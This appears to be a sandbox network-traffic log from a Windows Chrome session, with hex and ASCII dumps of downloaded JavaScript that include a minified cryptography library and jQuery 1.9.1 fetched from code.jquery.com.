2024-10-29 09:47:07 UTC	1369	IN	Data Raw: 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 Data Ascii: l(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)tr
2024-10-29 09:47:07 UTC	1369	IN	Data Raw: 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b Data Ascii: f t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+
2024-10-29 09:47:07 UTC	1369	IN	Data Raw: 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 Data Ascii: t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1
2024-10-29 09:47:07 UTC	1369	IN	Data Raw: 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e Data Ascii: (r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>
2024-10-29 09:47:07 UTC	1369	IN	Data Raw: 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 Data Ascii: .byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:func
2024-10-29 09:47:07 UTC	1369	IN	Data Raw: 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 Data Ascii: At(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRS
2024-10-29 09:47:07 UTC	1369	IN	Data Raw: 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f Data Ascii: in(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._
2024-10-29 09:47:07 UTC	1369	IN	Data Raw: 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 Data Ascii: =C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	151.101.2.137	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:07 UTC	557	OUT	GET /jquery-1.9.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:07 UTC	566	IN	HTTP/1.1 200 OK Connection: close Content-Length: 268381 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-4185d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 518349 Date: Tue, 29 Oct 2024 09:47:07 GMT X-Served-By: cache-lga21952-LGA, cache-dfw-kdal2120120-DFW X-Cache: HIT, HIT X-Cache-Hits: 3, 0 X-Timer: S1730195227.478226,VS0,VE1 Vary: Accept-Encoding
2024-10-29 09:47:07 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 31 2e 39 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 30 35 2c 20 32 30 31 32 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 Data Ascii: /! jQuery JavaScript Library v1.9.1 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * D
2024-10-29 09:47:07 UTC	1378	IN	Data Raw: 4f 66 2c 0a 09 63 6f 72 65 5f 74 6f 53 74 72 69 6e 67 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2c 0a 09 63 6f 72 65 5f 68 61 73 4f 77 6e 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 63 6f 72 65 5f 74 72 69 6d 20 3d 20 63 6f 72 65 5f 76 65 72 73 69 6f 6e 2e 74 72 69 6d 2c 0a 0a 09 2f 2f 20 44 65 66 69 6e 65 20 61 20 6c 6f 63 61 6c 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 0a 09 6a 51 75 65 72 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 73 65 6c 65 63 74 6f 72 2c 20 63 6f 6e 74 65 78 74 20 29 20 7b 0a 09 09 2f 2f 20 54 68 65 20 6a 51 75 65 72 79 20 6f 62 6a 65 63 74 20 69 73 20 61 63 74 75 61 6c 6c 79 20 6a 75 73 74 20 74 68 65 20 69 6e 69 74 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 27 Data Ascii: Of,core_toString = class2type.toString,core_hasOwn = class2type.hasOwnProperty,core_trim = core_version.trim,// Define a local copy of jQueryjQuery = function( selector, context ) {// The jQuery object is actually just the init constructor '
2024-10-29 09:47:07 UTC	1378	IN	Data Raw: 65 72 0a 09 63 6f 6d 70 6c 65 74 65 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 7b 0a 0a 09 09 2f 2f 20 72 65 61 64 79 53 74 61 74 65 20 3d 3d 3d 20 22 63 6f 6d 70 6c 65 74 65 22 20 69 73 20 67 6f 6f 64 20 65 6e 6f 75 67 68 20 66 6f 72 20 75 73 20 74 6f 20 63 61 6c 6c 20 74 68 65 20 64 6f 6d 20 72 65 61 64 79 20 69 6e 20 6f 6c 64 49 45 0a 09 09 69 66 20 28 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 20 7c 7c 20 65 76 65 6e 74 2e 74 79 70 65 20 3d 3d 3d 20 22 6c 6f 61 64 22 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 20 3d 3d 3d 20 22 63 6f 6d 70 6c 65 74 65 22 20 29 20 7b 0a 09 09 09 64 65 74 61 63 68 28 29 3b 0a 09 09 09 6a 51 75 65 72 79 2e 72 65 61 64 79 28 29 3b 0a 09 09 Data Ascii: ercompleted = function( event ) {// readyState === "complete" is good enough for us to call the dom ready in oldIEif ( document.addEventListener \|\| event.type === "load" \|\| document.readyState === "complete" ) {detach();jQuery.ready();
2024-10-29 09:47:07 UTC	1378	IN	Data Raw: 7b 0a 0a 09 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 68 74 6d 6c 29 20 2d 3e 20 24 28 61 72 72 61 79 29 0a 09 09 09 09 69 66 20 28 20 6d 61 74 63 68 5b 31 5d 20 29 20 7b 0a 09 09 09 09 09 63 6f 6e 74 65 78 74 20 3d 20 63 6f 6e 74 65 78 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 6a 51 75 65 72 79 20 3f 20 63 6f 6e 74 65 78 74 5b 30 5d 20 3a 20 63 6f 6e 74 65 78 74 3b 0a 0a 09 09 09 09 09 2f 2f 20 73 63 72 69 70 74 73 20 69 73 20 74 72 75 65 20 66 6f 72 20 62 61 63 6b 2d 63 6f 6d 70 61 74 0a 09 09 09 09 09 6a 51 75 65 72 79 2e 6d 65 72 67 65 28 20 74 68 69 73 2c 20 6a 51 75 65 72 79 2e 70 61 72 73 65 48 54 4d 4c 28 0a 09 09 09 09 09 09 6d 61 74 63 68 5b 31 5d 2c 0a 09 09 09 09 09 09 63 6f 6e 74 65 78 74 20 26 26 20 63 6f 6e 74 65 78 74 2e 6e 6f 64 65 54 Data Ascii: {// HANDLE: $(html) -> $(array)if ( match[1] ) {context = context instanceof jQuery ? context[0] : context;// scripts is true for back-compatjQuery.merge( this, jQuery.parseHTML(match[1],context && context.nodeT
2024-10-29 09:47:07 UTC	1378	IN	Data Raw: 65 63 74 6f 72 3b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 09 09 09 7d 0a 0a 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 65 78 70 72 2c 20 24 28 2e 2e 2e 29 29 0a 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 21 63 6f 6e 74 65 78 74 20 7c 7c 20 63 6f 6e 74 65 78 74 2e 6a 71 75 65 72 79 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 28 20 63 6f 6e 74 65 78 74 20 7c 7c 20 72 6f 6f 74 6a 51 75 65 72 79 20 29 2e 66 69 6e 64 28 20 73 65 6c 65 63 74 6f 72 20 29 3b 0a 0a 09 09 09 2f 2f 20 48 41 4e 44 4c 45 3a 20 24 28 65 78 70 72 2c 20 63 6f 6e 74 65 78 74 29 0a 09 09 09 2f 2f 20 28 77 68 69 63 68 20 69 73 20 6a 75 73 74 20 65 71 75 69 76 61 6c 65 6e 74 20 74 6f 3a 20 24 28 63 6f 6e 74 65 78 74 29 2e 66 69 6e 64 28 65 78 70 72 29 0a 09 09 Data Ascii: ector;return this;}// HANDLE: $(expr, $(...))} else if ( !context \|\| context.jquery ) {return ( context \|\| rootjQuery ).find( selector );// HANDLE: $(expr, context)// (which is just equivalent to: $(context).find(expr)
2024-10-29 09:47:07 UTC	1378	IN	Data Raw: 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 74 61 63 6b 3a 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 73 20 29 20 7b 0a 0a 09 09 2f 2f 20 42 75 69 6c 64 20 61 20 6e 65 77 20 6a 51 75 65 72 79 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 0a 09 09 76 61 72 20 72 65 74 20 3d 20 6a 51 75 65 72 79 2e 6d 65 72 67 65 28 20 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 20 65 6c 65 6d 73 20 29 3b 0a 0a 09 09 2f 2f 20 41 64 64 20 74 68 65 20 6f 6c 64 20 6f 62 6a 65 63 74 20 6f 6e 74 6f 20 Data Ascii: an array of elements and push it onto the stack// (returning the new matched element set)pushStack: function( elems ) {// Build a new jQuery matched element setvar ret = jQuery.merge( this.constructor(), elems );// Add the old object onto
2024-10-29 09:47:07 UTC	1378	IN	Data Raw: 20 6a 51 75 65 72 79 20 6d 65 74 68 6f 64 2e 0a 09 70 75 73 68 3a 20 63 6f 72 65 5f 70 75 73 68 2c 0a 09 73 6f 72 74 3a 20 5b 5d 2e 73 6f 72 74 2c 0a 09 73 70 6c 69 63 65 3a 20 5b 5d 2e 73 70 6c 69 63 65 0a 7d 3b 0a 0a 2f 2f 20 47 69 76 65 20 74 68 65 20 69 6e 69 74 20 66 75 6e 63 74 69 6f 6e 20 74 68 65 20 6a 51 75 65 72 79 20 70 72 6f 74 6f 74 79 70 65 20 66 6f 72 20 6c 61 74 65 72 20 69 6e 73 74 61 6e 74 69 61 74 69 6f 6e 0a 6a 51 75 65 72 79 2e 66 6e 2e 69 6e 69 74 2e 70 72 6f 74 6f 74 79 70 65 20 3d 20 6a 51 75 65 72 79 2e 66 6e 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 20 3d 20 6a 51 75 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 73 72 63 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 Data Ascii: jQuery method.push: core_push,sort: [].sort,splice: [].splice};// Give the init function the jQuery prototype for later instantiationjQuery.fn.init.prototype = jQuery.fn;jQuery.extend = jQuery.fn.extend = function() {var src, copyIsArray, c
2024-10-29 09:47:07 UTC	1378	IN	Data Raw: 72 63 20 3a 20 5b 5d 3b 0a 0a 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 63 6c 6f 6e 65 20 3d 20 73 72 63 20 26 26 20 6a 51 75 65 72 79 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 73 72 63 29 20 3f 20 73 72 63 20 3a 20 7b 7d 3b 0a 09 09 09 09 09 7d 0a 0a 09 09 09 09 09 2f 2f 20 4e 65 76 65 72 20 6d 6f 76 65 20 6f 72 69 67 69 6e 61 6c 20 6f 62 6a 65 63 74 73 2c 20 63 6c 6f 6e 65 20 74 68 65 6d 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 64 65 65 70 2c 20 63 6c 6f 6e 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f Data Ascii: rc : [];} else {clone = src && jQuery.isPlainObject(src) ? src : {};}// Never move original objects, clone themtarget[ name ] = jQuery.extend( deep, clone, copy );// Don't bring in undefined values} else if ( co
2024-10-29 09:47:07 UTC	1378	IN	Data Raw: 2c 20 64 65 63 72 65 6d 65 6e 74 2c 20 61 6e 64 20 77 61 69 74 20 69 66 20 6e 65 65 64 20 62 65 0a 09 09 69 66 20 28 20 77 61 69 74 20 21 3d 3d 20 74 72 75 65 20 26 26 20 2d 2d 6a 51 75 65 72 79 2e 72 65 61 64 79 57 61 69 74 20 3e 20 30 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 49 66 20 74 68 65 72 65 20 61 72 65 20 66 75 6e 63 74 69 6f 6e 73 20 62 6f 75 6e 64 2c 20 74 6f 20 65 78 65 63 75 74 65 0a 09 09 72 65 61 64 79 4c 69 73 74 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 20 64 6f 63 75 6d 65 6e 74 2c 20 5b 20 6a 51 75 65 72 79 20 5d 20 29 3b 0a 0a 09 09 2f 2f 20 54 72 69 67 67 65 72 20 61 6e 79 20 62 6f 75 6e 64 20 72 65 61 64 79 20 65 76 65 6e 74 73 0a 09 09 69 66 20 28 20 6a 51 75 65 72 79 2e 66 6e 2e 74 72 69 67 67 65 Data Ascii: , decrement, and wait if need beif ( wait !== true && --jQuery.readyWait > 0 ) {return;}// If there are functions bound, to executereadyList.resolveWith( document, [ jQuery ] );// Trigger any bound ready eventsif ( jQuery.fn.trigge
2024-10-29 09:47:07 UTC	1378	IN	Data Raw: 7d 0a 0a 09 09 74 72 79 20 7b 0a 09 09 09 2f 2f 20 4e 6f 74 20 6f 77 6e 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 70 72 6f 70 65 72 74 79 20 6d 75 73 74 20 62 65 20 4f 62 6a 65 63 74 0a 09 09 09 69 66 20 28 20 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 20 26 26 0a 09 09 09 09 21 63 6f 72 65 5f 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 6f 62 6a 2c 20 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 20 26 26 0a 09 09 09 09 21 63 6f 72 65 5f 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 2c 20 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 29 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 7d 0a 09 09 7d 20 63 61 74 63 68 20 28 20 65 20 29 20 7b 0a 09 09 09 2f 2f 20 49 45 38 2c 39 Data Ascii: }try {// Not own constructor property must be Objectif ( obj.constructor &&!core_hasOwn.call(obj, "constructor") &&!core_hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) {return false;}} catch ( e ) {// IE8,9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49752	151.101.66.137	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:09 UTC	354	OUT	GET /jquery-1.9.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
